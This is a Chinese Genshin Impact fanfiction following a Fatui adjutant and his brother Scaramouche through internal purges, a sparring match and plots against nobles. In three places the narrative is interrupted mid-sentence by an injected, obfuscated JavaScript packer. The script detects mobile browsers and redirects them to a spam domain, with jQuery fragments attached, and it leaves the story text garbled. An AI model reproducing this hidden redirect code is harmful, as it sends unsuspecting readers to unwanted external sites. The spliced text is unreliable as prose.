《[原神]飞鸟相与还》 1. 月见里清也 至冬的四季不管过了多少年都是一个样子,漫长的冬天与一闪而过的春夏秋。 昨天夜里刚下过一场大雪,但好在至冬城市环卫响应及时,积雪都被扫至一旁。 月见里清也透过咖啡馆的落地窗看得起劲,好像环卫工人清扫积雪是一件多么有趣的事。 “我说了这么多你好歹给我个回话是不是?”在他对面,一位金发男子有些急躁的说着,“你拿我当背景音乐呢?” 月见里清也闻言才缓缓地将目光收回来,眼神带着点茫然,显然没把卡斯珀之前的说辞听进去。 “……”卡斯珀有种一拳打进棉花里的无力感。 好在月见里清也没忘记卡斯珀只是临时被抓过来的说客,没打算难为他。 咖啡馆的环境不隐蔽,这是月见里清也相中的地方,他一开始就没打算商讨问题,“我还是之前的意思,不论是我还是大人,我们依旧认为没有必要增添新人手。” 他眉目清秀,看上去也就十五六岁,绀色长发束在脑后,显得整个人干脆利落,开口却透露着与年龄不符的沉稳。 这就是现任愚人众执行官第六席的副官,上任不过几个月,难搞程度不亚于他的那位执行官哥哥。 卡斯珀祖上是蒙德人,遗传了父亲的长生种特征,一条洁白蓬松的尾巴搭在座椅上,尾尖不耐烦地甩了甩。 在月见里清也还是士兵,跟随队伍下深渊的时候跟他交情不错。 但很显然,在这方面交情都不好使,卡斯珀烦躁的抓了抓头发,“见鬼了,你能做一点跟你职位相关的事吗?” 月见里清也洗耳恭听,“比如?” 卡斯珀说:“适当的为第六席增添点新鲜血液?” “你指的是送来的那一帮菜?”月见里清也语气一如既往的诚恳,听不出半点嘲讽的意味,但就是让人听了气不打一出来,“再说了,我在他们那些官员眼里,不就是个尸位素餐的副官么?” 卡斯珀:“……” 听听这鬼话。 在月见里清也上任之初,愚人众里出现了许多关于第六席的谣言,这些流言各不相同,但中心意思就一句话——第六席执行官身边新上任的副官是个靠着裙带关系上位的花瓶。 而身在谣言中心的月见里清也丝毫不受这些流言蜚语的影响,每天按部就班的干好自己的事。 毕竟,钓鱼这种事就得慢慢等,等忍不住第一个冒头的人,用他来杀鸡敬候。 直到新兵训练营的官员找到月见里清也,想靠着贿赂他来将自己选好的人安排进第六席。 月见里清也靠着这位官员,拔出萝卜带出泥,一连串揪出好几个埋藏在第六席的暗线,来了一出声势浩大的杀鸡儆猴。 新兵训练营那边凡是有问题的,被一撸到底,第六席有问题的士兵也全都被他扔了出去。 新官上任三把火,这位第一把火烧就成了火烧连营,谁的面子都没给留。 并且在此事后,散兵几乎给了他将近半个执行官的权利,支持的意思不言而喻。 那些官员有有意见吗?有的,但他们谁也不敢说。 关于月见里清也的谣言由此不攻自破,但他并不是不在意,钓鱼执法归钓鱼执法,他的本性还是有些恶劣的。 此事过后,本以为风波过去的官员将新一届新兵送往第六席,但他们没想到这次刚送去的新兵,没过几天就被月见里清也打包送回来一半。 负责人员管理的官员直接气的一口血呕出来:这又不是订报纸,怎么还带退订的呢?! 找当事人对质也是被不温不火的推回来,去找那位执行官大人也无果,对方完全不管这事,一切全凭月见里清也做主。 由于月见里清也什么理由都没给,这看起来就像是月见里清也在睚眦必报,但作为理亏的一方,训练营迫不得已,才从别的岗位借调了卡斯迫这个跟月见里清也旧交不错的冤种来当说客。 “总不能让近一个中队的人都砸在训练营手里吧?”卡斯珀说出了那边的想法,“或者你有什么提议或者要求,可以提提看?” 反正也不是训练营的人,就算月见里清也狮子大开口也跟他没有关系。 月见里清也笑的意味深长:“各回各家,反正我不要。” 这次出来并没有带着手下,把一张折起来的纸从桌子上推给对方。 卡斯珀展开后发现这是一张手写名单,上面的笔锋娟丽,有些名字上面被画圈,有些名字后面跟着一串数字,名单上面的人数不多不少,就是被退回来的那部分人的名字。 月见里清也解释道:“前段时间我查第六席账的时候发现有一处的记录不太对,正巧我那时候时间比较充裕,就去查了一下。” 说到这里卡斯珀就明白这份名单上的数字是什么了,是一份赃款记录。 一般的小贪是不会让上级注意到并且上纲上线的,卡斯珀凭着和他多年的交情明白,还有一些事触及到了月见里清也乃至整个第六席的底线。 “你知道的,第六席建立不过几年而已,但是这不代表第六席不如其他几位,万事总有个开头,所以……”月见里清也意有所指的笑了笑,“像这种蛀虫和妄想染指第六席的杂鱼,恕我们养不起。” 他顿了顿,随意但又带着不可抗的意味,“这不仅仅是我的意思,也是大人的意思。” 卡斯珀不会不明白他的意思,愚人众执行官们之间的关系就如同纸糊的一般一捅就破,互相派出人监视都算好的,暗中安插人手之类的事情见怪不怪。 月见里清也一开始就没有把几个中饱私囊的蛀虫当回事,他要做的是铲除暗中安排在第六席的人。 毕竟执行官和训练营的那些教官不同,他没有轻举妄动而是用先遣队的贪污来遮盖,也是保证了第六席和其他几席之间的那点脆弱的关系。 顺便还给卡斯珀带来了可以交差的理由。 卡斯珀叹了口气,这里面牵扯的争斗太过复杂,他不好多言,“我会转达给新训练营的长官们,并且会从最新一批的新兵里挑出好苗子填补空缺。” 公务解决完毕,接下来属于私人时间。 “好啦,公事完成,咱俩就别端着了。”为了查清内鬼的事,月见里清也这两周几乎是连轴转,全凭着咖啡吊着精神,抬手捏了一下鼻梁,瞬间懒散下来。 卡斯珀对此见怪不怪。 月见里清也瞅着卡斯珀也跟着放松下来的神情,闲聊几句后,突然发问:“你还记得我出意外前发生了什么?” 卡斯珀端着咖啡杯的手一顿,喝也不是,不喝也不是:“……” 月见里清也担任副官之前,第六席并没有“副官”一职。 资历稍微久一点的愚人众士兵都知道他因为意外,在特殊护理处躺了五年,他出意外那天正跟着他哥哥一块执行在深渊的任务,任务中途一切都很顺利,结果他在就要收队回去的时候出了意外。 记得那时队伍里吵的最火热的八卦就是争论散兵和月见里清也到底谁能成执行官,亦或是都是执行官。 结果醒来后第六席都成立三年了,几年前老掉牙的八卦自然没有人再提,除了五年前的老队员,几乎没有多少人还记得他。 月见里清也并不在意这种事,他只是奇怪自己为什么对场意外一点记忆也没有。 他也不是没有问过现在已经成了执行官的散兵,不管他怎么旁敲侧击,散兵的回答都是“意外”,绝口不提任何细节。 但这场意外还有一个知情者,现在就坐在月见里清也的面前。 作为当时一起出任务的队友,月见里清也把注意打在卡斯珀身上很久了。 月见里清也见卡斯珀发愣,伸手打了个响指,调侃道:“你该不会跟我哥串通好了?你们俩嘴也太严了吧。” 他用了“我哥”这样的词汇代替“大人”,卡斯珀明白,接下来的谈话属于月见里清也本人的闲聊。 卡斯珀 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15896340|176541||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 试图转移话题,“你觉得大人会跟我串通?” 月见里清也想了一下,自己也觉得荒谬,“除非今天太阳从东边落,他直接封你口还差不多。” “别转移话题。”月见里清也说完后摆了摆手,“我伤都好了,我保证在我哥那边装作不知道。” “你今天不能出来太久吧,大人那边你不需要过去汇报吗?”卡斯珀依旧在垂死挣扎。 “哦,没事。”月见里清也拨了拨桌子上的花,“执行官例会,没个个把小时完事不了,不然我为什么要把见面安排在今天下午?” “……”卡斯珀意识到今天不说出点什么今天是别想走了,他叹了口气,“……好吧,先说好,我知道的也不多,这件事只有大人一个人清楚。” “当时我们要收队离开深渊了,在不同地点驻扎的队伍都在往回赶。” “我在营地负责接应,然后有个士兵来报,说有个队伍遭遇了袭击,很巧的是我哥也在那个队伍里。”月见里清也察觉到了卡斯珀的避重就轻,“我是创伤性失忆,不是真的失忆,我想知道这件事的真相。” 卡斯珀知道糊弄不过去,反问他,“你觉得这是意外吗?” “当然不觉得,这太巧了。”月见里清也回道。“回程路线提前都勘探过,魔物都被提前清理过,况且是回程,怎么能在路上正正好好的撞上袭击。” 卡斯珀点点头,认同他这个看法,“这件事确实是有预谋的,背后的势力牵扯比较深,目的就是冲着你和大人去的。大人当时处理的非常快,现场一早就封锁了,根本没法看到里边的详情。” “有一件事和遇袭没有关系,但很奇怪,就在你出事不久后,提前带队离开的『博士』大人带伤返回了至冬。” 月见里清也怔愣了一下,“巧合?” 五年沉睡没导致他记忆出现偏差的话,按理说博士应该实验数据收集完早就回去了才对,且按照博士的实力,他怎么会受伤? “虽然听起来像巧合,但你不觉得很多事都凑一块了吗。”卡斯珀说。 月见里清也也不大确定,“我跟他也没什么深仇大恨啊,虽然我对他没什么好感,但……” “咳咳咳!”卡斯珀连忙一阵咳嗽,打断月见里清也接下来要说的话,“你疯了?就不怕隔墙有耳?” “有啊,不都在给你的纸上写着吗?”月见里清也耸肩道:“再者说我不喜欢第二席不是公认的事实吗,这也算秘密?” 卡斯珀被他着光脚的不怕穿鞋的态度震惊到了,“……行。” 但他知道的就这么多,也无法给月见里清也一个确切的答案。“那次任务资料都封锁的差不多了,我回来后没有选择升职反而选转了文职,权限也就不够查具体的资料。” 什么都没问出来的月见里清也只失落了短短一小会,“那看来突破口还是在我哥身上。” 卡斯珀狐疑地看着他,“你要干嘛?” 月见里清也语气轻松:“既然如此,只好‘借用’一下我哥的权限卡了。” “……”沉默蔓延了一会,卡斯珀双手捂住耳朵,“你偷东西别跟我说,我什么都不知道。” 他年纪还小,不想以“窃取核心资料”的罪名去蹲大牢。 月见里清也不满他的措辞,“说什么呢,一家人的事能叫偷吗?” 经过这一打岔气氛换和了许多,月见里清也自知在咖啡馆磨蹭的时间有点多,起身准备离开,“不过还是谢谢你告诉我,我还欠你一顿酒呢。” 卡斯珀知道月见里清也嘴上说着不忙,实际上忙的一周无休,没忍住又翻了个白眼。“快走吧,你能松口要这帮菜我就很感谢了。” “月见里清也。”没走几步月见里清也又听见卡斯珀叫住他。 月见里清也不明所以,“嗯?” “欢迎回来。”他听见卡斯珀说了这么一句。 月见里清也没忍住笑了笑,他挥了挥手,推门离开了咖啡店。 2. 灵活机动≠收拾烂摊子 副官的工作包括但不限于担任秘书、侍卫、负责和各个部分对接工作、和其他几席打交道。 月见里清也曾经以为副官之间调侃自己工作“挨最多的骂,干最多的活”是夸张说法,现在看来是对了一半,因为他不会挨骂,但活是真的多。 月见里清也拿过一旁干净的衣服换上,柔软的丝质衣物遮住从脖颈下沿脊柱至后腰呈现紫色的伤痕,这道伤疤是五年前那场意外造成的,残留的元素力沁入皮肉,才导致呈现不同寻常的颜色。 两周几乎无休,造成的疲惫不是一次热水澡可以带走的,月见里清也叹了口气,转念想起自己工资和工作福利,忍了忍又把吐槽的话全都咽了回去。 累就累吧,反正愚人众给的钱够多。 他离开水汽缭绕的浴室,在厨房泡好茶后端着又转去了书房。 准备慰问一下他全面无休的卷王哥哥。 他没有敲门,就正常的推门进去把茶水放在桌子上,散兵正忙着批桌上的一摞文件,眉头紧皱,笔尖在纸上留下的字迹越发狠厉,就差在上面写上一句“狗屁不通”。 散兵跟月见里清也有一样的发色与瞳色,如果抛去头发长度与五官走向的不同,很难分辨出俩人谁是谁。 月见里清也扫过书房里的几盆植物,几滴水珠挂在叶片上,一看就是有人防止气急攻心,才转移注意力给它浇了水。 散兵的脸色越来越难看,月见里清也丝毫不在意,直接拉来对面的椅子坐下,他坐没个正行,趴在桌子上一手撑头。 换了别人见到散兵这幅神情,别说坐在对面,恐怕早就退避三舍,但显然作为“关系户”的月见里清也并不算作别人,等看够了才懒懒散散地说:“哥哥,其实不想看可以不看的。” 散兵皱着眉给手里的这份留下批语,没好气的说:“那么请问,放在这里它是会自己完成么?” 月见里清也随手展开几份文件,帮忙批几份文件以减轻散兵的工作量,这也是他这个副官的特权——散兵处理事务的时候从不背着他,他在某些时候甚至可以直接代替散兵做决定,这是属于他们之间的信任。 “这不是还有我这个‘田螺姑娘’吗?”月见里清也随口说着,看向手里的文件。 是一份申请资金的文件,里头写的事情让经常睁眼睛说瞎话的月见里清也都自愧不如,言辞真切还不忘拉踩一下在第六席如日中天的月见里清也。 当然,写文件的人已经让月见里清也打包送走了。 后半段报告没必要再看,他直接扔到一边。 “论说瞎话的功力你不如那帮先遣队的,但厚脸皮的程度,整个第六席的人远不如你。”散兵短促地笑了一声,快速扫一眼被扔到一旁的报告,“看来田螺姑娘变成狐狸精了。” 月见里清也闻言翻了个白眼,佯装不满:“贬低你弟弟会让你产生满足感吗,这要怪谁?” “我只是表达我更欣赏有能力的人,而不是添乱的蠢货。”私自放权的“罪魁祸首”语气轻松,一点也没觉得自己有什么不对。 在别人眼里刚上任刚刚几个月,一点功绩都没有的月见里清也:…… 行,第六席他是老大,解释权归他所有。 “新兵的事处理完了?”散兵问道。 月见里清也拿着笔想了一会,仿着散兵的口吻和字迹留下批语后才说:“都处理完了,卡斯珀那边协商的是会送身份干净的士兵过来……” 他笔尖一顿,差一点把署名写成稻妻文。但他不动声色,接着刚才的话说,“还有像先遣队的问题,不止他们,其他队伍里还有类似的情况,项目上报和实际花销都是两本账。虽然这次送走一波是以儆效尤,但时间长了肯定死灰复燃。” 第六席自从几个月前从稻妻回来后就再也没出过任务,很大一部分原因是月见里清也醒来后需要恢复身体。 人一旦闲下来就会懈怠,在至冬原地待命的队伍也是同理。 “别多想,第六席是随机待命,灵活机动才是特性,什么问题都插手和收拾烂摊子没有两样。”散兵看了他一眼,从稻妻到至冬几百年的陪伴,他当然知道月见里清也在想什么。 月见里清也没想到他会这么说,歪头道:“你这是在安慰我,哥哥?” 散兵捏着文件的手微微收紧,忍住想把文件扔他脸上的冲动,“我只是在阐述事实,免得有些人被黑心老板压榨还觉得一切正常。” 月见里清也眨了眨眼,“可是我现在的直属上司不是你吗?” “……不想在这屋呆着了就去睡觉。”散兵就差把“滚出去”三字写脸上了。 月见里清也懂得及时收手,没继续火上浇油,顺手翻了翻那些散兵已批完的文件,不走心的心疼了一下这几天需要批文件的第六席士兵们,他们执行官的脾气肉眼可见地越来越差。 直到那一摞文件见底,墙上的时钟已经转到后半圈。 由于两人非人的特性,深夜喝茶不会造成令人痛苦的失眠。窗外雪下的越来越大,明天恐怕会积起不少雪来。 月见里清也收回目光,拿过最后一份文件,“说起来,你今天下午的例会都讲些什么?” 受工作权限的原因,月见里清也接触不到执行官之间的核心情报,所以大多数的情报都是散兵告诉他。 说到这个,散兵脸色一沉,但还是三言两语的将会议简明扼要的复述了一遍。 月见里清也听完,笔在手指间灵活转了一圈,“……所以说女皇这几年一直在忙着建立愚人众进行改革,引起了至冬旧贵族的不满,在这之前的几次先遣队遇袭也是他们干的?” “嗯。”散兵认同他的说法,忽然话锋一转,“你知道女皇建立愚人众的目的是什么吗?” 月见里清也停下手里的动作,摇了摇头。虽然不懂散兵为什么突然问这个,但他的确不知道。 多年前丑角找到在各地流浪的散兵和他时,他被散兵找了个理由给支了出去,至 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15896341|176541||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 于那天他们谈了什么,月见里清也一概不知。 他加入愚人众的理由再简单不过,因为散兵选择了愚人众。 至于散兵,执行官这个名头听着气派,工资多待遇也好,可这都是当上执行官后才有的。换言之,散兵并不是因为这些身外之物才加入的愚人众。 “为了夺取神的权柄。”散兵语气轻松,仿佛这不是什么宏伟的计划,而是在跟月见里清也说今晚下雪了一样。 月见里清也一愣,“夺取神的权柄……七神?” “不然呢?” 不需要多说什么,月见里清也就明白了,为什么在那时对一切都漠不关心的散兵,会突然加入一个远在至冬的组织。 神明的权柄,也就是神之心。 但神之心究竟是他人生的终局还是过程?或许在散兵心里已经有答案了。 这些他都没有点破,只是往下说,“听起来很宏大,女皇不惜为此建立愚人众,那想必绝不会是那几个贵族能插手的了。” 他不在乎这个宏大的计划怎么实行,因为看起来跟他一点关系都没有,只要事情不触及散兵本人,或者散兵所管的第六席的利益,月见里清也就没有多大兴趣。 “一群自以为是的人类和神明对抗,蜉蝣撼树,结果可想而知。”散兵摊了摊手,无所谓道。 “话虽如此,但是先遣队可是遭殃了8个了。”月见里清也想了想又补充道,“尽管这些队伍都不直属于一个执行官。” “由此可见某些执行官嘴里的精英先遣队不过一群酒囊饭袋。”散兵嗤笑一声,说出的话毫不留情。 月见里清也想起训练营把兵给他们时说的话,都想问他们一句脸疼不疼。 他把倒好的茶水给散兵推过去,“所以这事又轮到灵活机动、随机待命的第六席头上了?” “呵。”散兵纠正了他的说法:“收拾烂摊子的第六席。” 啧……刚才说的不是很高大上吗? “行吧,”月见里清也从善如流,他还有一点不明白,“但这点小事其他执行官是不能解决吗?” 虽然开玩笑说是处理烂摊子的,但也不是随便个什么事都严重到需要第六席插手。 提到这件事散兵脸色一冷,跟下午刚开完会没有任何差别,反讽道,“所以这件事交给几位能力卓越的执行官,第六席另有要务——负责树敌。” 月见里清也倒水的手一顿,以为自己听错了,“负责什么?” “树敌。”散兵想起今天的会议心情就好不到哪去,语气并不好,“这几年颁布的政策已经引起贵族的抵触,我们要做的是激起他们的反击。” 月见里清也点头总结:“懂了,我们要踩在他们头上跳舞。” 散兵:“……也对。” 话糙理不糙。 只要贵族动手了,不管有没有对第六席造成伤害,谋反的帽子就可以扣他们头上了。 不光要出兵,还要出师有名。 3. 最后一项训练 从医学角度来说,长时间卧床会导致人体出现多种身体和心理上的后遗症,好在月见里清也不是人类,除了耐力有所下降外,可以说和五年前没什么区别。 给他特批的一个月恢复期接近尾声,与此同时,他昨晚和散兵一起商议的加强士兵体能训练的命令正式施行,至于管理改革还需要再商议一二,不急于一时。 第六席有自己专属的训练场,昨晚的积雪今日一早就被月见里清也下令清理干净,让本以为下雪就可以逃训的士兵们大失所望,一个个垂头丧气的开始今天的训练。 一组训练结束,队伍解散休息。然而还没过五分钟,分散休息的人又三三两两聚了起来,很快把中心场地围了个水泄不通。 原因无他,月见里清也的康复训练最后一项是实战,他上任不过几周时间,很少在训练场露面,第六席的士兵们还有一大部分人没有见过他。 虽然没见过,但八卦早就流传已久,谁都想看看自家执行官大人的弟弟长什么样。 直到散兵拿着一柄刀穿过人群过来时,不光周围的士兵炸了锅,月见里清也都罕见的有点无措,苦笑道:“没人告诉我最后一个项目是和你打啊。” 虽然叫做“康复训练”,实际上里面的内容跟身体恢复扯不上半点关系,只有最后一项实战还勉强说得通。 这场实战是散兵特意为他安排的,目的就在于让月见里清也在士兵面前露脸。 月见里清也当然清楚这场实战背后的目的是什么,所以他只当成小打小闹,没想到散兵要亲自上场。 “怎么?”散兵走到他对面,挽了个刀花,眉尾一挑,“怕了?” 月见里清也摇了摇头,把随身的佩刀拔了出来,“本来以为是普通的比武就没有拿青璃谭,哪成想是哥哥。” 青璃谭是散兵前不久送他的一把长刀,因刀身剔透如同一块青色琉璃而取名:青璃谭。 由于实战过后还有别的事务要忙,月见里清也只随手从训练场里挑了一把顺手的。 眼下回去拿刀不现实,既然对手是他哥,月见里清也知道接下来的比试不能分心。于是没有放狠话环节,也没有谦让环节,两人沉默地按照稻妻剑道礼仪简单行了一礼。 二人同在深渊厮杀过,刀术和体术也是散兵教他的,基本都是一套路子,没有可比性。在不使用元素力的情况下,看不出谁占据上风。 几招过后,两人身上都萦绕起紫色的电弧,二人对元素力运用方向不同,直到这时,散兵才慢慢占据上风。 月见里清也提剑格挡住几次对方的攻击,猛烈的雷元素撞击到刀身上。只觉有千钧之力压在刀上,让他动弹不得,然而就见他眉眼一弯,左手一转,一把形似匕首的东西向对方刺去。 对方见状立刻后撤躲开,月见里清也借机摆脱了桎梏,然而“匕首”只不过是一把折扇。 散兵看着对面阴谋得逞的月见里清也,也不知这人怎么想的,比试的时候把扇子揣身上,“玩阴的?” 月见里清也有一双狐狸眼,笑起来很像一只揣着坏心眼的狐狸,“物尽其用罢了。” 话音未落,整个人化作一道雷光迅速逼近散兵,他并没有散兵那么暴虐的雷元素力量,并不打算硬碰硬,将元素力运用在速度上。 一击未成,月见里清也借力转身,刀身镀上雷光斩向散兵,在元素力的催动下,整套动作做下来也不过一瞬。 没有力量优势,月见里清也选择扬长避短,在速度和灵活度方面散兵远不如他,诡异的步伐和出刀角度,也是让散兵不厌其烦。 想办法获取细微的主动,绝不能被对方牵着走,这就是月见里清也在面对和他哥哥一样强大的敌人时的思路。 双方并不是要斗个你死我活,但显然两位低估了八卦的传播速度,比试开始十分钟后,除了实在忙得走不开的人,几乎整个第六席的人都过来围观了。 “来的人越来越多了,”月见里清也压低声音道:“执行官大人就没想过,输给我的话,可是很丢面子的。” 出乎意料的,散兵并没有躲开月见里清也横扫而来的一刀,而是直接硬生生接了下来,他突然一笑,堇色眼眸直直看向月见里清也,“你可以试试。” 下一秒雷霆从天而降,直接封死了月见里清也的退路,逼得他只能直面应对攻势。 雷光在两刀的交界处炸开,震地月见里清也手腕一麻,握住刀柄的手险些松开,他几乎凭本能死死抓住手中的长刀,堪堪挡住随后而来的追击。 虽然人躲过了这一击,但月见里清也衣服上的振袖早就让雷元素绞烂了,本来点到为止的比试在此刻变了味道,月见里清也并不在意衣服烂成了什么样子,他顺手一扯,直接从振袖上撕下来一块布条绑到右手上,防止武器再次震脱手。 两人都没停手,月见里清也能从散兵刚才的语气中听出开心的味道来。 他没给散兵反应的时间,说完就如同离弦之箭向对方冲去,却在临近之时虚晃一枪,让这一刀刺了空,而他借势向散兵面门削去。 散兵收刀抵挡不及,只能向后撤身,但刀的走向忽然上挑,等到散兵和周围围观的人反应过来时,月见里清也已经把常年戴在散兵头上的斗笠拿在手里了。 月见里清也拿在手里掂了掂轻重,露出一副挑衅的笑容。 试试就试试。 反正也没人规定非要打败对手才算赢。 周围士兵看傻了,愣愣地问旁边的人:“你说大人他……会生气吗?” 旁边的人也愣了:“……不知道,我没弟弟。” 散兵看着月见里清也把自己的斗笠戴到头上,像是觉得荒唐,但很显然这个画面不该是第六席下属能看见的,似笑非笑道:“都没事干了。” 明明是疑问句却被他用陈述的语气说出来,围观的人突然觉得后背一凉,纷纷作鸟兽散。 处理完周围的闲杂人等,散兵看向眼前的糟心玩意。然而糟心玩意丝毫没意识到自己干了什么,挽了个刀花,“啊呀,好凶啊。” 散兵:“……” 不得不说,在火上浇油这方面还真的没人比的过月见里清也。 “你知道玩心重是你最大的弱点吗?”散兵冷笑一声,说罢再次挥剑而上。 由于月见里清也的作死行为,这次散兵没有手下留情。 月见里清也招架不及,忙收了刚才的漫不经心,手中长刀如游蛇一般转了个角度,试图从这密集的攻势中撕开一个突破口。 转瞬间两人已见招拆招过了几十个回合,这时散兵又将力量集中于刀刃之上,毫不留情的向对方挥去,这一击月见里清也就算速度再快也不可能完全避开,见状只能硬抗。 只听“咔”的一声,两把太刀终究扛不住裹挟着元素力的重击,断成了无数碎块。月见里清也被这股劲逼退几分,就在这一会的空挡里,抓住机会的散兵趁着他重心不稳,直接绊腿一个过肩摔将他按在地上。 月见里清也再想反击之时,散兵的手已经卡在他脖子上,如果这是在战场,散兵会毫不迟疑的拧断他脖子。 “我说了,玩心重是你最大的弱点。”散兵松了手,把躺在地上的月见里清也拽了起来,慢悠悠的补充道。 “是刀的问题,不是我的问题。”月见里清也笑盈盈地看着他,他并不觉得被人狠狠的按到地上是件多么丢脸的事。 五年前他就打不过散兵,更别提五年后的现在了,但如果不是刀断了,他确实不会败的这么快。 散兵说话间已经重新带上了斗笠,闻言摇了摇头。 “毕竟哥哥在这两年里实力也增长了不少,如果点到为止的话,我永远不知道跟你差了多少。”月见里清也解释道。 虽然也是人偶,月见里清也同散兵一样也有雷元素可供使用,但那毕竟不是神力,差距不是一星半点。 散兵直接开口拒绝,“你想都不要想。” “可是我还什么都没说……” “呵,就你的那点小心思,还是免了吧。”散兵说,“对于人类而言,老去本就是一种『磨损』,你我寿命虽早就超过了人类,但不代表你可以避开『磨损』。还是说你觉得你和那帮菜鸟一样,需要用这种自损的方式换取力量?” 月见里清也只是顺口一提,并不执着于这件事,他主动转了话题:“那在你眼里我终于不是笨蛋菜鸟了?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15896342|176541||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “嗯,虽然依旧不是很聪明。”散兵怼完人心情大好,无视了瞬间脸黑的月见里清也。 “喂!!!”月见里清也气的不行,感觉刚才自己的自嘲都喂了狗,“真的没人说你很混蛋吗?” “活着的就剩你一个了。”散兵向着训练场出口走去,笑着回了一句。 ……行吧,能逗笑了也不错。 他拍了拍衣服上的土,跟着散兵一块离开。 出发时间在即,第六席还有很多事要忙。 月见里清也的衣服在比试中烂的不成样子,匆忙换了一套后就开始奔波于工作中,至于散兵为什么这么防备他用邪眼这个疑问也被他忙的抛在脑后,没再想起来。 上任不久的月见里清也在熟悉了第六席的所有部门后干的第一件事就是给整个第六席来了个大扫除,除去一帮混吃摸鱼的,还有前几天他刚打包送走的眼线,第六席现在的工作效率比以前快了不知多少。 尤其是重新挑选过人选的情报部。 “月见里大人,这是您前几天吩咐搜寻的情报。”一个士兵过来把一个信封递到了月见里清也身边。 月见里清也接了过来,点了点头示意他可以下去了。 他刚在跟人事部的人交代事物,眼下的首要任务是针对贵族的行动,第六席的新兵入伍仪式肯定是没办法如期举行。 虽然散兵一直对这个仪式嗤之以鼻,但该走的过场还是要走,他吩咐道:“入伍仪式推迟,管理改革按照文件上的一步步来,有闹事不服管的直接给我哪来的回哪去。” “是,大人。” 月见里清也也让人事部的负责人下去忙他自己的活去了,他拿着手里的情报离开办公厅。 虽然上任时间不长,但是月见里清也绵里藏针的行事手段已经让他在第六席里获得了一定的威望。 但是不知道是不是刚才比试里他一刀挑飞散兵的斗笠这件事流传太快,月见里清也只觉得今天所有人看他表情都有点怪。 就像是想说些什么但又拼命忍着一样,直到下一个来找他的人露出同样表情的时候月见里清也终于受不了了,“有什么想问的就说。” “不不不,我没什么想问的!”小士兵过于紧张,连拿回文件都忘了。 “说。”月见里清也显然不信,半开玩笑的来了一句,“要不然让大人问问你?” 小士兵差点给他跪下,“别别别,我说我说。” “就是那个……大人你真的挑飞了散兵大人的斗笠吗,还戴了一下?”小士兵迟疑了一下问道。 月见里清也无语片刻,“……你们今天见到我欲言又止的就为这个?” 这难道不是他们自己亲眼所见吗? 小士兵八卦之心作祟,闻言反驳道:“怎么能是就‘就为这个’?毕竟执行官大人那么……不苟言笑的人,就……您懂吧?” 月见里清也总觉得小士兵想说的可能不是不苟言笑,那口型看这像“阴晴不定”。 他一头雾水,想起刚上任时在士兵之间流传的八卦——一个士兵因打扰了散兵的思绪而被他打了一耳光的传闻。 起初月见里清也不信这种传闻,但现在…… 月见里清也若有所思道:“所以你们是看到我完好无损的现在这……很意外?” 小士兵越讲越激动,音量都快控制不住了,“对对对!现在都有在传您比执行官大人厉害,您能不能和大人提议稍微让他改改脾气?” 嗯?这不对吧??? 月见里清也听到后边两眼一黑,后背的摔伤还在隐隐作痛,文件往小士兵怀里一塞,直接扭头就走。 “哎????”士兵也没想到他会扭头就走,追了几步慌忙问道,“大人别走啊,您还没回答我呢!” 月见里清也头都没回,“不信谣,不传谣。” 开玩笑,他还想再活几年。 摆脱了小士兵后月见里清也松了口气,第一次见识到了八卦的传播速度。 推开办公室的门后,月见里清也第一句话就是,“你知道你在下属心里是个什么样么?” 散兵一时间没听懂他这没头没脑的一句话,皱了一下眉问:“什么?” 4. 港口 为了保全第六席士兵的小命,月见里清也没有把事情抖搂出去。 反正借他们一百个胆子他们也不敢在正主面前讲八卦。 月见里清也摇了摇头,把话题揭了过去。 他把送来的情报给散兵递了过去,这些并不是什么愚人众高层机密,他在拿到手的时候粗略看了几眼,知道个大概。 没有外人在,月见里清也也就不讲究那套表面功夫,他拉开散兵对面的椅子坐下,又捞过旁边的茶壶给自己倒了杯水。 散兵偏头看了一眼他正经不过三秒的样子,“你倒是不客气。” 月见里清也没听清他说的什么,“嗯?” 散兵:“啧……算了没事,喝吧。” 这几份情报都是有意图谋反的贵族资料和势力分布,月见里清也吐槽道:“几个贵族势力分散,谁都不想做那个被枪打的出头鸟,不论哪家出了事,其他的都只会隔岸观火,他们不团结打谁还真是个难题。” 现在的贵族们还是一盘散沙,别说吸引仇恨了,但凡有一家出事都会作鸟兽散。 散兵把一旁的地图展开,上边早就表好了点,安抚他道:“快了。” 月见里清也不解:“嗯?” “八个先遣队还不够他们增长信心,还是说他们是一帮心智未开的三岁小孩?”散兵反问,“贵族能有几个真正上过战场的。” 月见里清也对至冬历史不甚了解,但是稻妻也是有贵族阶级的。 贵族通常都是世袭制,即使是当初是靠战功获取了爵位,几代更迭下来,别说上战场领兵打仗,敢拿刀杀人的都没几位。至于对于战场的了解程度就更别提了,约等于零。 